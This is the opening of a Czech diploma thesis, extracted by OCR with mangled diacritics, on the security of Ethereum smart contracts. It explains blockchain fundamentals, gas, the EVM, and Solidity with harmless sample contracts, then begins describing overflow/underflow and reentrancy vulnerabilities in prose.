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ABSTRAKT

Hlavnim cilem této prace je analyza bezpeCnostnich rizik smart kontrakti na
blockchainovych platformach, se zamétenim na ekosystém Ethereum a programovaci jazyk
Solidity. Teoretickd C¢éast prace zkouma principy fungovani blockchainu, klicové
komponenty smart kontrakti a jejich zranitelnosti, vcetn¢ historickych ptiklada
bezpecnostnich incidentil. Prakticka ¢ast zahrnuje implementaci smart kontrakti a simulaci
utokl typu inspirovanych redlnymi scénafi. Na zékladé analyzy vysledkl jsou navrzena a
testovana bezpecnostni opatieni. Prace kombinuje teoretické poznatky a nabizi prakticka
doporuceni pro vyvojare smart kontraktl s cilem zvysit jejich bezpecnost a minimalizovat

rizika v blockchainovych aplikacich.

Kli¢ova slova: Ethereum, blockchain, smart kontrakt, bezpecnost, zranitelnosti, Solidity

ABSTRACT

The main objective of this thesis is to analyze the security risks of smart contracts on
blockchain platforms, focusing on the Ethereum ecosystem and the Solidity programming
language. The theoretical part examines the principles of blockchain functionality, the key
components of smart contracts, and their vulnerabilities, including historical examples of
security incidents. The practical part involves the implementation of smart contracts and the
simulation of attacks inspired by real-world scenarios. Based on the analysis of the results,
security measures are proposed and tested. The thesis integrates theoretical insights and
provides practical recommendations for smart contract developers, aiming to enhance their

security and reduce risks in blockchain applications.

Keywords: Ethereum, blockchain, smart contract, security, vulnerabilities, Solidity
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UvVOD

V poslednich letech se technologie blockchain stala klicovou inovaci v oblasti digitalnich
systémt, zejména diky své schopnosti zajistit decentralizaci, transparentnost a bezpe¢nost
datovych transakci. S rozvojem této technologie ziskavaji na popularité i smart kontrakty,
které umoziuji automatizované a bezpecné provadéni transakci bez potieby prostiedniki.
Ptestoze blockchain a smart kontrakty pfindseji mnoho vyhod, jejich vyuziti neni bez rizik
a to predevsim v oblasti bezpecnosti. Historie ukézala, Ze i drobné chyby v kodu mohou vést

k z&vaznym zranitelnostem a rozsahlym finan¢nim ztratdm.

Tato diplomova prace je rozdélena do dvou hlavnich c¢ésti. Teoretickd cast
pfedstavuje zakladni koncepty blockchainu, popisuje klicové prvky smart kontrakti a
analyzuje bezpecnostni rizika spojend s jejich nasazenim. Daéle se vénuje metodologii
vyzkumu, ktera zahrnuje vybér testovaciho prostiedi, analyzu nastroji a navrh scénari
utokl. Prakticka ¢ast se zaméfuje na implementaci vybranych smart kontraktd, simulaci
utokli a vyhodnoceni jejich dopadi. Na zaklad¢ ziskanych vysledkii jsou navrZena a

testovana bezpecCnostni opatieni s cilem minimalizovat potencialni rizika.

Z nazvu diplomové prace vyplyva, ze hlavnim cilem bude analyzovat bezpe¢nostni
rizika smart kontraktli a navrhnout i¢inna opatieni ke zvyseni jejich bezpecnosti. Vysledky
této prace mohou piispét k hlubsSimu porozumeéni bezpecnostnim aspektim smart kontraktl
a poskytnout vyvojafim i odborné vefejnosti praktické nastroje a doporuceni pro

minimalizaci zranitelnosti a zaji$téni vyS$si arovné bezpecnosti blockchainovych aplikaci.
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I

TEORETICKA CAST
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1 BLOCKCHAIN TECHNOLOGIE

Blockchain technologie pfedstavuje revolucni piistup k decentralizovanému uchovavani a
oveétovani dat. Jeji vyuziti sahd od kryptomén ptes chytré kontrakty az po Siroké spektrum
aplikaci v oblastech jako logistika, zdravotnictvi i vetfejna sprava. [1] V této kapitole budou

vysvétleny principy fungovani blockchainu, jeho klicové komponenty a proces tvorby bloku.

Diilezitym aspektem blockchainu je jiz zminéna decentralizace. Neexistuje zadna
centralni autorita, ktera by kontrolovala sit’. Namisto toho je sprava blockchainu zaloZzena na

distribuované siti uzlti (nodes), které spolecné validuji a zaznamenavaji nové transakce. [2]
Mezi hlavni vlastnosti blockchainu patfi:

e Neménnost — jakmile je transakce zapsédna do blockchainu, nelze ji zménit nebo

odstranit. [3]
e Transparentnost — kazdy ucastnik sit¢ miize ovéfit provedené transakce.

e Bezpefnost — data jsou chrdnéna kryptografickymi algoritmy a mechanismy

konsenzu.

Na obrazku (Obrazek 1) je znazorné€no srovndni mezi centralizovanym modelem
bankovniho systému a decentralizovanym modelem blockchainu, kde validace probiha

kolektivné bez nutnosti divéry v jediny subjekt.

@)
SaVa PP

\‘\ // ®— il —(@®
@—®

DeFi CeFi

Decentralized Finance Centralized Finance

Obrazek 1: Rozdil mezi finan¢nimi systémy

(zdroj: [3] )
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1.1 Klic¢ové komponenty blockchain technologie

Blockchain se sklada z nékolika klicovych komponent, které spolecné zajistuji jeho

funk¢nost a bezpecnost.

1.1.1 Blok

V blockchainové technologii je zadkladni jednotkou tzv. blok, ktery slouzi k uchovavani
ovéfenych dat, nejcastéji transakci. Kazdy blok je navrzen tak, aby byl kryptograficky
propojen s blokem ptedchazejicim, ¢imz vznika disledné zabezpeCeny a neménny fetézec,

jak muzete vidét na obrazku (Obrazek 2). [1]

Genesis block
1

Hash: 1Z8F Hash: 6BQ1 Hash: 3H4Q

Previous hash: . 0000 Previous hash: = 1Z8F Previous hash: 6BQ1

Source: Arthur D. Little

Obrazek 2: Jak se bloky spojuji a vytvareji blockchain
(zdroj: [4] )

Kazdy blok obsahuje nékolik klicovych &asti, které zajist'uji jeho integritu a umoZiuji

ovetovani jeho spravnosti napfic celou siti.

e Data (transakce) — Obsahuji jednotlivé zaznamy o pievodech hodnot, volanich
smart kontraktd nebo jinych operacich. V zavislosti na typu blockchainu mohou
data reprezentovat kryptoménové pievody, medidlni zaznamy, zdravotnicka

data aj. [4]

e Hash aktuilniho bloku — Jedine¢ny identifikator bloku generovany na zdkladé
jeho obsahu. Jakédkoli zména byt jediného bitu dat by vedla ke zcela jinému

hashi, coz zarucuje detekci neopravnénych uprav. [4]



UTB ve Zliné, Fakulta aplikované informatiky 15

e Hash predchoziho bloku — Propojuje aktudlni blok s ptfedchozim, ¢imz tvoii
bezpecny fetézec. Tato zavislost zajistuje integritu celého blockchainu, nebot’

zmeéna jakéhokoli bloku by vyzadovala Gpravu vSech nasledujicich blokd. [4]

#® Data

Hash

# Hash of previous block

Source: Arthur D. Little

Obrazek 3: Tti komponenty bloku
(zdroj:[4] )

Omezena velikost a Sifrovani dat

Bloky maji omezenou kapacitu, protoze kazdy uzel v siti musi uchovavat jejich plnou kopii.
Z tohoto ditvodu se data v bloku casto hasuji nebo Sifruji, ptipadné jsou skute¢na data
uloZena externé napt. v IPFS (InterPlanetary File System) a v bloku je uchovén jen odkaz

nebo hash téchto dat viz obrazek (Obrézek 4). [4]
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[ ] Storage

wawa

_______________________ - Hawa

(server/IPFS)

v

Data description: image

D information/data information

L 4

Storage location:
Image/data https://xyz.abc

Sample
block data

n Attributes: artist data/seller, -
a buyer, transaction information " ’R (_/

Hash

-

to be stored

Source: Arthur D. Little

L

." GO ." GO “'

Blockchain

Obrazek 4: Zpracovani dat na blockchainu

(zdroj: [4] )

Vyznam haSovani

HaSovani je matematickd operace, ktera prevadi libovolné velky vstup na vystup pevné délky

(tzv. hash). V blockchainu se pouzivé predevs§im kviili zajiSténi:

e Neménnosti — Uprava dat by vedla ke zm&né hashe a byla by okamzit& odhalena.

o Efektivniho ovéfovani — Hashy lze rychle porovnavat bez nutnosti kontrolovat cely

obsah bloku.

e Propojeni blokii — Kazdy novy blok obsahuje hash toho pfedchoziho, ¢imZ vznika

kryptograficky fetézec. [4]

1.1.2 Adresa

Blockchainova adresa je zjednoduSené¢ feCeno virtualni adresa wuzivatele v ramci

decentralizované sité. Slouzi jako vefejné piistupny identifikator, na ktery lze odesilat

transakce s kryptoménou ¢i jinymi daty. V analogii s béznym bankovnim uctem je

blockchainova adresa obdobou ¢isla uctu — umoziuje pfijimat prosttedky, ale sama o sobé

nezarucuje piistup k nim. [5]
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Kazdd adresa je odvozena od vefejného klice uzivatele, ktery vznikd pfi generovani
kryptografického paru (soukromy + vetejny klic). V siti Ethereum napftiklad adresa vznika
haSovanim vefejného kli¢e algoritmem Keccak-256 a vybérem poslednich 20 bajti
vysledku. Takto vznikla adresa je reprezentovana 42znakovym hexadecimalnim fetézcem
zacinajicim prefixem ,,0x*. [5]

Adresa sama o sob¢ neobsahuje zadné informace o identit¢ uzivatele — blockchain je

pseudonymni. Vefejné¢ dostupna je pouze historie transakci spojena s danou adresou.

Skute¢ny vlastnik adresy je znam pouze tehdy, pokud svou identitu s adresou vyslovné spoji.
[5]

Diky této konstrukci je mozné, aby jeden uzivatel vlastnil vice adres (naptiklad pro

ucely spofeni, obchodovani, spravu smart kontraktll), coz zvySuje bezpecnost a soukromi.

m Etherscan

G Address 0xbc810b3920bdb6044d1286FD735EfB67E831B6A2

Obrazek 5: Ukazka Ethereum adresy na platformé Etherscan

( zdroj: viastni )

1.1.3 Transakce

Transakce je zakladni jednotka ¢innosti v blockchainu. Jednéd se o datovy zaznam, ktery
vyjadiuje pfesun hodnoty (napft. kryptoméeny) nebo iniciaci konkrétni operace (napt. spusténi

funkce smart kontraktu) mezi dvéma ucastniky sité. [2]

Kazda transakce obsahuje n¢kolik kli¢ovych udajii. Transakce je nejprve podepsana
soukromym klicem odesilatele, ¢imZ je zajisténo, Ze byla skutecné autorizovana danym
uzivatelem. Po jejim odeslani do sité je transakce distribuovana mezi uzly, které ji ovétuji
(napt. zda ma odesilatel dostate¢ny zlstatek, zda podpis odpovida atd.). Teprve poté miize

byt zafazena do bloku a trvale zapsdna do blockchainu. [2]

Tento proces zaruCuje nezmeénitelnost a transparentnost transakci. Jakmile je
transakce jednou potvrzena a zapsana, nelze ji zpétn€ zménit ani smazat bez zasahu celé sité.

Blockchain tak plni funkci dvéryhodné distribuované ucetni knihy.
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TRANSACTION ACTION
(7 Transfer 0.003912795999977 ($10.10) ETH 1o 0x26C3c0235dFEF1034b620958d36Cd18C0dDIAFDO

(® Transaction Hash: 0x54b9191¢c2e93420b9c0e0b03caf10425f4961a56d9f443edbf2532feb91890f50

® Status: @ Success

@ Block: © 10537071 2919404 Block Confirmations

@ Timestamp: ® 407 days ago (Mar-29-2024 03:45:59 AM UTC) | ¢y Confirmed within 1 min:32 secs
@ From: 0xbc810b3920bdb6044d1286FD735EfB67E831B6AZ

@ To: 0x26C3c0235dFEF1034b620958d36Cd18C0dDfAFbO

@ Value: 4 0.003912795999977 ETH s10.10

(@ Transaction Fee: 0.0004995098451 ETH $1.29

@ Gas Price: 23.7861831 Gwei (0.0000000237861831 ETH)

Obrazek 6: Detail transakce na siti Ethereum

(zdroj: vlastni )

1.1.4 Konsenzus

Konsenzus zajist'uje spravnost transakci a stabilitu blockchainu tim, zZe definuji pravidla pro
potvrzovani novych blokd. Mezi nejrozsitené;si patii Proof of Work (PoW), ktery je zaloZen
na vypocetni sile a Proof of Stake (PoS), jenZ upfednostituje validatory na zaklad¢ jejich
podilu v siti. Cesky se tyto metody oznaduji jako diikaz praci (PoW) a diikaz podilem (PoS).
Jednotlivé metody se 1i$i zejména v oblasti bezpecnosti, Skdlovatelnosti a energetické

narocnosti. [2]
Proof of Work

Proof of Work (diikaz praci) je prvni a nejznaméj$i mechanismus konsenzu, pouzivany
naptiklad v siti Bitcoin. Tento model spoléha na téZate (miners), kteti soutéZi v feSeni
slozitych kryptografickych tloh. Prvni téZat, ktery nalezne spravné fesenti, ziska pravo ptidat
novy blok do blockchainu a obdrzi odménu ve formé kryptomény. Tento proces vSak
vyZzaduje vysoky vypocetni vykon a spotfebovava znacné mnozstvi energie, coz vede ke

kritice jeho udrzitelnosti. [5]
Proof of Stake

Proof of Stake (dikaz podilem) ptfedstavuje alternativni pfistup k dosazeni konsenzu, ktery
sniZzuje energetické naklady a zvySuje Skalovatelnost blockchainovych siti. V tomto modelu

jsou validatofi blokll vybirani na zakladé mnozZstvi drzenych kryptomén a délky jejich
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drzeni. Cim vice tokenl uzivatel vlastni, tim vy$§i ma Sanci na vybér k validaci nového
bloku. Tento systém eliminuje potfebu masivniho vypocetniho vykonu a zajistuje

efektivnéjsi provoz blockchainu. [6]

1.1.5 Mempool

V ramci architektury vétSiny blockchainovych siti, které pracuji s modelem transakci
odesilanych a nésledné zatazovanych do bloki (napfiklad sité vyuzivajici proof of work
nebo proof of stake konsenzus s blokovou strukturou), existuje koncept takzvaného
mempoolu (memory pool). Mempool predstavuje vyrovnavaci pamét nebo rezervoar
nenavrzenych a dosud nepotvrzenych transakci, které¢ byly odeslany do sité a ¢ekaji na

zpracovani a zahrnuti do nové tvoteného bloku . [7]

platku

oplatkd za urychleni

Virtualni velikost

Akcelerovano RBF enabled Version 2

Obrazek 7: Transakce v mempool Bitcoinové sité

( zdroj: viastni )
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Kdyz uzivatel odesle transakci (napt. prevod hodnoty, interakce se smart kontraktem), tato
transakce neni okamzité zarazena do blockchainu. Nejprve je odeslana do sité a §ifi se mezi
uzly sité. Kazdy uzel udrzuje sviij lokalni mempool, kde uchovava transakce, které pfijal,
ov¢til (napf. kontrola podpisu, dostatecny ziistatek odesilatele) a které jesté nebyly zarazeny

do zadného bloku. [7]

Z pohledu aktérti odpovédnych za tvorbu blokt (napt. t€zatfi v PoW, validatofi v PoS)
slouzi mempool jako hlavni zdroj transakci, ze kterych vybiraji transakce pro zatazeni do
bloku. Proces vybéru transakci a stanoveni jejich poradi v ramci bloku je klicovy a je obvykle
ovlivnén vysi poplatku za zpracovani transakce (poplatek za gas), ktery je uzivatel ochoten
zaplatit. Transakce s vy$Sim poplatkem maji typicky vyssi prioritu a jsou zafazovany do

bloku dfive, jelikoz ptedstavuji pro tviirce bloku vyssi odménu. [7]

Vyznam mempoolu pro bezpecnost a fungovani smart kontraktii spociva v jeho
transparentnosti. Transakce v mempoolu jsou veiejné dostupné k nahlédnuti pro kohokoli,
kdo provozuje uzel sit€¢ nebo ma piistup k datiim mempoolu. Tato transparentnost umoziuje
aktérim sledovat transakce ¢ekajici na potvrzeni, v€etné volani funkci smart kontraktl a s
nimi spojenych dat. Moznost sledovani transakci v mempoolu a potencialni snaha ovlivnit
jejich potadi v bloku je zakladnim piedpokladem pro vznik nékterych typa zranitelnosti a

strategickych tutokd, jako je naptiklad Front-running. [7]

1.2 Proces tvorby bloku

Tvorba nového bloku ptfedstavuje stézejni a komplexni proces v blockchainové siti, ktery
zajiSt'uje kontinuitu, bezpecnost a integritu celého fetézce. Tento proces neni centralizovany,
ale probiha distribuované mezi uzly sité a je fizen piislusSnym konsenzualnim mechanismem.
Zahrnuje ne€kolik klicovych fazi, které vedou od individudlnich transakei k jejich trvalému

zdznamu v distribuované ucetni knize. [1]

1.2.1 Shromazd’ovani transakci (Mempool)

Kazda nova transakce, kterou uzivatel zada, je po odeslani nejprve distribuovana mezi uzly
v siti, kde ¢ekd na zatazeni do tzv. mempoolu, do¢asné vyrovnavaci paméti pro nepotvrzené
transakce. Kazdy uzel mize mit mirné odliSny obsah mempoolu v zavislosti na rychlosti

pienosu a propustnosti sité. [7]
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1.2.2 Validace transakci a tvorba bloku

Po vybéru transakci nésleduje jejich overeni. Kontroluje se naptiklad platnost digitalnich
podpisii, existence dostatecného ziistatku ¢i duplicita (ochrana proti dvojimu utraceni). Poté

validator sestavi navrh nového bloku, ktery zahrnuje:
e seznam validovanych transakci,
e Casové razitko,
e hash predchoziho bloku,
e v piipadé PoW také proménnou nonce.
Kdo ma pravo blok zapsat, urcuje pouzity konsenzualni algoritmus:

e Proof of Work (PoW) — Validator fesi vypocetné narocny problém a blok zapiSe

ten, kdo prvni nalezne hash odpovidajici aktualni obtiznosti. [4]
e Proof of Stake (PoS) — Validator je vybiran na zéklad¢ podilu drzenych tokent. [4]
e Delegated Proof of Stake (DPoS) — Komunitni hlasovani vybird delegované
validatory, ktefi bloky zapisuji jménem ostatnich. [4]
1.2.3 Zapis a distribuce bloku

Jakmile je novy blok sestaven a ovéfen podle pravidel konsenzu, je pfipojen ke stdvajicimu
fetézci. Nasledné je distribuovan mezi vSechny uzly v siti. Kazdy z téchto uzll blok
samostatné oveii a piida ho do své lokélni kopie blockchainu. Tim dochéazi k dosazeni

konsenzu, tedy shody napf#ic distribuovanym systémem. [4]
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2 PREHLED HLAVNICH PLATFOREM

Blockchainové platformy se 1iSi svou architekturou, konsenzudlnimi mechanismy a
moznostmi vyuziti. Zatimco nekteré, jako Bitcoin, slouzi pfedevsim jako decentralizované
platebni systémy, jiné nabizeji programovatelnost a podporu komplexnich aplikaci. Tato
kapitola se zaméfuje na Ethereum jako klicovou platformu pro vyvoj smart kontraktd, s
darazem na programovaci jazyk Solidity, ktery je stézejni pro ekosystém Etherea a hlavni

téma této prace.

2.1 Ethereum

Ethereum, ptfedstavené Vitalikem Buterinem v roce 2013, je prukopnickou platformou v
oblasti programovatelnych blockchainli. Na rozdil od Bitcoinu, jehoz ucel je omezen na
pfevody kryptomény, Ethereum umoziluje vytvafeni a provadéni smart kontrakt
autonomnich programil uloZzenych na blockchainu, které automaticky vykonéavaji pfedem
definované akce po splnéni danych podminek. Tato programovatelnost rozsifuje vyuziti
Etherea na decentralizované aplikace (dApps), decentralizované autonomni organizace

(DAO) a dalsi inovativni projekty. [5]
Ehtereum 2.0

Pojem Ethereum 2.0 byl plivodné€ pouzivan k oznaceni série aktualizaci Etherea, které mély
pfinést vyznamné zmény, vcetné piechodu z Proof of Work (PoW) na Proof of Stake (PoS),
implementace shardingu a dalSich vylepSeni Skalovatelnosti a efektivity. Nicméng,
Ethereum Foundation pozd¢ji od ndzvu "Ethereum 2.0" upustila, aby se vyhnula zmatkim.

[8] Misto toho zavedla nové oznaceni:

e Execution Layer: Oznacuje pivodni Ethereum blockchain, ktery zpracovava

transakce a vykondva smart kontrakty (diive zndmé jako mainnet Ethereum). [8]

e Consensus Layer: Oznacuje Beacon Chain, ktery zajiStuje konsenzus pomoci Proof

of Stake. [8]

Po The Merge (15. zaii 2022) se tyto dveé vrstvy spojily do jednoho blockchainu, ale sit’ je
nyni jednoduse oznacovana jako Ethereum. Termin Ethereum 2.0 se jiZ oficialn€ nepouziva,

aby nevznikal dojem, Ze se jednd o novy blockchain nebo zcela jinou verzi Etherea. [§]
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2.2 Gas

Jednim z unikatnich prvka Etherea je gas, jednotka méfici vypocetni narocnost operaci, jako
jsou transakce nebo provadéni smart kontraktl. Gas neni kryptoména, ale abstraktni
hodnota, za kterou uzivatelé plati v etheru (ETH). Celkové naklady na operaci jsou dany

vzorcem: Naklady = Gas Limit x Gas Price. [9]
Gas Limit

Maximalni mnozstvi gasu, které je uzivatel ochoten vynalozit; pokud operace tento limit

prekroci, transakce selze a zaplaceny gas je ztracen [9].
Gas Price

Cena za jednu jednotku gasu v gwei (1 gwei = 10~° ETH), urovana trhem podle poptavky a

nabidky; vys$si cena zvySuje prioritu transakce v mempoolu [9].

Gas hraje klicovou, jeho vyznam se projevi zejména pii provadéni smart kontraktd, kde
kazda operace, od jednoduchého ptevodu ETH po komplexni vypocty, spotiebovava urcité
mnozstvi gasu. Naptiklad zdkladni pfevod ETH vyzaduje pfiblizn€ 21 000 gasu, zatimco
nasazeni slozitého kontraktu miize dosahnout stovek tisic jednotek. [9] Tento mechanismus
je uzce spjat s Ethereum Virtual Machine (EVM), které gas vyuziva k fizeni a omezeni

vypocetnich procest, jak bude popsano v nasledujici podkapitole.

2.3 Ethereum Virtual Machine (EVM)

Ethereum Virtual Machine (EVM) je decentralizovany vypocetni stroj, ktery vykonava
smart kontrakty a tvoii zaklad programovatelné povahy Etherea. EVM umoziuje Ethereu
fungovat jako flexibilni blockchain, kde transakce zahrnuji nejen pievody ETH, ale i

interakce se smart kontrakty. Mezi jeho klicové vlastnosti patii:

e Izolace: Kazdy smart kontrakt bézi v izolovaném prostiedi, coz zajistuje

bezpecnost a stabilitu celé sité. [9]

e Bytekod: Smart kontrakty jsou zkompilovany do bytekddu, ktery EVM
interpretuje a vykonava. [9]

EVM vyuzivd mechanismus gasu k méfeni vypocetnich nékladl transakci a operaci v
kontraktech. Gas je v podstaté poplatek za transakci, jehoz celkova cena se pocita jako Gas
Used x Gas Price. Tento systém je nedilnou soucasti fungovani EVM a plni n¢kolik

zasadnich funkci.
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e Omezuje nekonecné smycky v kontraktech, protoze EVM pfterusi operaci, pokud je

vycerpan piidéleny gas, coz chrani sit’ pred zneuzitim. [9]

e Chrani sit’ pfed spamovymi Utoky tim, ze kazda operace ma finan¢ni naklady, coz

odrazuje od nadmérného zatézovani. [9]

e Ovliviiuje ekonomiku provozu decentralizovanych aplikaci (dApps), protoze

vyvojafi musi optimalizovat kontrakty, aby minimalizovali ndklady pro uzivatele.
[9]

Napiiklad jednoducha operace, jako je ulozeni hodnoty do proménné, mize stat nékolik
tisice jednotek. Gas tak nejen zajist'uje technickou stabilitu, ale i ekonomickou udrzitelnost
ekosystému Etherea. Jeho integrace do EVM umoznuje efektivni provoz smart kontraktd a
ptispivad k tomu, zeEthereum zlstava pfedni platformou pro vyvoj dApps a DAO, coz je

dilezité pro dalsi analyzu bezpecnostnich aspektl v této praci.

2.4 Solidity

Hlavnim programovacim jazykem pro vyvoj smart kontrakti na Ethereu je Solidity. Tento
jazyk, inspirovany syntaxi JavaScriptu, C++ a Pythonu, byl navrZen specialné pro Ethereum
Virtual Machine (EVM), coz je runtime prostfedi pro vykonavani smart kontraktt. [9]
Solidity je staticky typovany jazyk, ktery umoziuje definovat funkce, proménné a logiku
kontraktii, pfi¢emz jeho kod je po kompilaci pifeveden do bytecode, jenZ je nasazen na

blockchain. Jednoduchy ptiklad kodu v jazyce Solidity je uveden v ukazce kodu 1.

Tento kontrakt demonstruje jednoduchou logiku ukladani a nalitani dat, coz je
typicky zédklad pro slozitéjsi aplikace. Zdrojovy kod je pouzit podle doporuceni Sablony.
Solidity ptinasi vyhody, jako je flexibilita a podpora komplexni logiky, ale také rizika jeho
sloZitost mlZe vést k chybam, jako je reentrancy nebo preteceni, které jsou analyzovany v
kapitole 4. Krom¢ Solidity existuji alternativy, naptiklad Vyper, ktery klade diraz na
Citelnost a bezpecnost, avSak Solidity dominuje diky své rozsifenosti a komunitni podpofe.

[10]
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// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;
contract SimpleStorage {

uint256 storedData;

function set(uint256 x) public {

storedData = x;

function get() public view returns (uint256) {

return storedData;

Ukézka kodi 1: Ukazka jazyka Solidity

(zdroj: [32])
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3 SMART KONTRAKTY

Smart kontrakty ptredstavuji kliCovou inovaci blockchainové technologie, ktera umoziuje
automatizaci a decentralizaci transak¢nich procesi. Tato kapitola definuje smart kontrakty,
popisuje jejich principy fungovani a zamétuje se na specifika jejich vyvoje a nasazeni v
ekosystému Etherea, kde dominuje programovaci jazyk Solidity. Dale je vénovéna

pozornost fallback funkci jako dtlezitému prvku smart kontraktt.

3.1 Definice a principy fungovani

Smart kontrakt je pocitaCovy program uloZeny na blockchainu, ktery automaticky vykonava
pfedem definované akce po splnéni stanovenych podminek, bez potieby prosttednikd.
Koncept smart kontraktd poprvé navrhl Nick Szabo v roce 1994 jako ,,digitalni smlouvy*
zalozené na kryptografickych protokolech, avsak jeho prakticka realizace pfiSla az s
rozvojem programovatelnych blockchaind, jako je Ethereum. Na Ethereu smart kontrakty
bézi na Ethereum Virtual Machine (EVM), coz je decentralizované vypocetni prostiedi
zajistujici jejich spolehlivé provedeni. [9]
Princip fungovani smart kontrakti spociva v nésledujicich krocich:

o Kodovani: Vyvojai zapiSe logiku kontraktu v jazyce, jako je Solidity, definujici

podminky a akce.

e Nasazeni: Po kompilaci je kod uloZen na blockchainu, kde je ptistupny pod unikatni

adresou.

e Spousténi: Transakce nebo volani funkei kontraktu iniciuji jeho provedeni, pfi¢emz

vysledek je zapsan do blockchainu.

Mezi hlavni vlastnosti smart kontraktll patfi neménnost (po nasazeni nelze kod ménit),
transparentnost (kod je vefejné ovéfitelny) a autonomie (funguji bez zasahu tietich stran).
Tyto vlastnosti vSak také ptindseji vyzvy, protoze chyby v kodu mohou vést k nevratnym

ztratdm, coz je stéZejnim tématem analyzy bezpecnosti v této praci.

3.2 Fallback funkce

Fallback funkce je specialni funkce v Solidity, kterd se automaticky spusti, pokud smart
kontrakt obdrZi transakeci, jeZ nevyvolava zadnou jinou definovanou funkci, nebo pokud je

poslana etherova platba bez specifikace. Tato funkce nemd ndzev a je oznacena klicovym
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slovem fallback (od verze Solidity 0.6.0) nebo byla dfive implicitni jako bezejmenna funkce.

[11] Ptiklad jednoduché fallback funkce je uveden nize v kédu (Ukazka kodu 2).

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0 <0.9.0;
contract FallbackExample {
event Received(address sender, uint256 amount);

fallback() external payable {

emit Received(msg.sender, msg.value);

Ukazka koda 2: Fallback funkce psana v jazyce Solidity

( zdroj: viastni )

V tomto piikladu kontrakt zaznamena odesilatele a ¢astku etheru pfijatou pii volani funkce
pomoci udélosti Received. Fallback funkce je omezena na 2300 gasu, pokud je volana
externg, coz omezuje jeji vyuZiti na jednoduché operace, napiiklad logovani nebo

presmérovani prostiredkd. [11]

Fallback funkce hraje klicovou roli v bezpecnosti kontrakti, protoze jeji nespravna
implementace muize vést k zranitelnostem, jako je reentrancy utok, kdy Gto¢nik opakované
volad kontrakt pred dokonfenim piedchozi operace. Tento aspekt bude podrobnéji

analyzovan v kapitole o bezpe¢nostnich rizicich. [11]

3.3 Zivotni cyklus chytrého kontraktu

Zivotni cyklus smart kontraktu na blockchainové platformé je typicky popisovan
prosttednictvim klicovych fazi, kterymi kontrakt prochazi od svého navrhu az po finalni stav
na blockchainu. [12] Porozuméni témto etapam je dilezité pro ptehled o vyvoji a fungovani
smart kontraktl. Jak mizete vidét na obrazku (Obrazek 8), zivotni cyklus lze roz¢lenit do

nasledujicich hlavnich fazi.
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Vytvoreni (Create): Tato uvodni faze zahrnuje navrh logiky a sepsani zdrojového
koédu smart kontraktu v programovacim jazyce jako je Solidity. V této etapé dochazi

k definovani veskerého chovani budouciho kontraktu pied jeho pfesunem na

blockchain. [12]

Zmrazeni (Freeze): Faze "zmrazeni" nastava nasazenim zkompilovaného bytecode
kontraktu na blockchain. K tomu slouZi specilni transakce. Jakmile je tato transakce
potvrzena, kod kontraktu je proveden EVM a je vytvofen novy ucet pro kontrakt.

Kd je ulozen na blockchainu a stava se neménnym, piipraveny k interakci. [12]

Provedeni (Execute): Tato faze probiha pii interakci s nasazenym smart kontraktem
prostiednictvim volani jeho funkci. Volani funkci, kterd méni stav kontraktu, jsou

zpracovavana EVM na vSech uzlech sité, coz spousti definovanou logiku kontraktu.

[12]

Dokonceni (Finalize): Faze "dokonceni" souvisi s vysledkem provedeni transakci a
zahrnutim téchto vysledkl do blockchainu. Po provedeni logiky dojde k aktualizaci
stavu kontraktu, kterd je soucasti procesu validace transakce a jejiho zahrnuti do

bloku. Po potvrzeni bloku se stdvaji zmény stavu findlnimi na blockchainu. [12]
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Obréazek 8: Zivotni cyklus smart kontraktu

( zdroj: viastni )
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4 BEZPECNOSTNI RIZIKA A ZRANITELNOSTI

Smart kontrakty na blockchainu, zejména v ekosystému Etherea, piinaSeji vyhody
autonomie, transparentnosti a nemeénnosti, avSak tyto vlastnosti zvySuji dopad
bezpecnostnich chyb. Tato kapitola analyzuje zranitelnosti smart kontraktt, jejich historické
a aktudlni projevy v praxi a navrhuje preventivni opatieni. Cilem je ukazat, pro¢ jsou smart

kontrakty kli¢ové pro blockchainové aplikace a jak pochopeni jejich rizik.

4.1 Klasifikace zranitelnosti

Bezpe¢nostni zranitelnosti smart kontraktdi, psanych primarn€ v jazyce Solidity pro
Ethereum Virtual Machine (EVM), lze klasifikovat na zaklad¢ jejich pfic¢in a mechanismu
zneuziti. Tyto chyby casto prameni z logickych nedostatkli v samotném kodu, nespravného
pochopeni subtilit fungovani blockchainového prostiedi (jako je EVM a jeho stav), nebo ze
zneuziti inherentni vefejné povahy sité. [9]

24

Mezi nejCastéj§i a nejzavaznéj§i typy zranitelnosti patii reentrancy,
overflow/underflow, front-running a chyby v fizeni ptistupu. Nize jsou podrobné&ji popsany
nékteré z téchto kliCovych zranitelnosti, ilustrujici $ir§i spektrum potencialnich hrozeb,

kterym smart kontrakty celi.

4.1.1 Overflow/Underflow

PieteCeni (overflow) a podteceni (underflow) jsou aritmetické chyby, které nastavaji, kdyz
vysledek pocetni operace piekro¢i maximalni povolenou hodnotu nebo klesne pod
minimalni povolenou hodnotu pro dany datovy typ s pevnou Sitkou. Napftiklad pro 8bitové
nezéaporné celé ¢islo (uint8), které miiZze nabyvat hodnot od 0 do 255, by pficteni 1 k hodnoté
255 zpusobilo preteceni a vysledek by byl 0. Podobnég, odecteni 1 od 0 by zplsobilo
podteceni a vysledek by byl 255. [13]

vvvvvv

nezpusobovaly chybu a pfeteceni/podteceni mohlo byt zneuzito k manipulaci s hodnotami
proménnych (napf. zastatky tokenil) v kontraktu. Od verze 0.8.0 Solidity kompilator
automaticky ptfidava kontroly pieteceni a podteceni pro vSechny aritmetické operace, ¢imz
eliminuje tento typ zranitelnosti v nove psanych kontraktech. [13] Nicméné, starsi kontrakty
nasazené pied touto verzi zistavaji zranitelné, pokud nepouzivaly knihovny jako SafeMath

od OpenZeppelin, které poskytuji bezpecné aritmetické operace s kontrolami.
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4.1.2 Reentrancy

Zranitelnost reentrancy (opétovného vstupovani) nastdvd, kdyz externi volani z jednoho
smart kontraktu na jiny (nebo na externi adresu) umozni uto¢nikovi znovu vstoupit do
puvodniho kontraktu a pokracovat v jeho provadéni diive, nez se prvni volani dokon¢i a
aktualizuje stavové proménné (napf. ziistatky uzivateld). Klasickym scénafem je vybér
etheru, kdy uto¢nik vyuzije funkci pro vybér. Pokud kontrakt nejprve odesle ether a teprve
poté aktualizuje ziistatek uzivatele, mize utocnik ve své fallback funkci (vykonané pii
piijmu etheru) znovu zavolat vybérovou funkci ptivodniho kontraktu. Timto zpisobem mutize
opakovan¢ vybirat prosttedky, dokud neni stav kontraktu spravné aktualizovan nebo dokud

mu nedojde gas. [14]

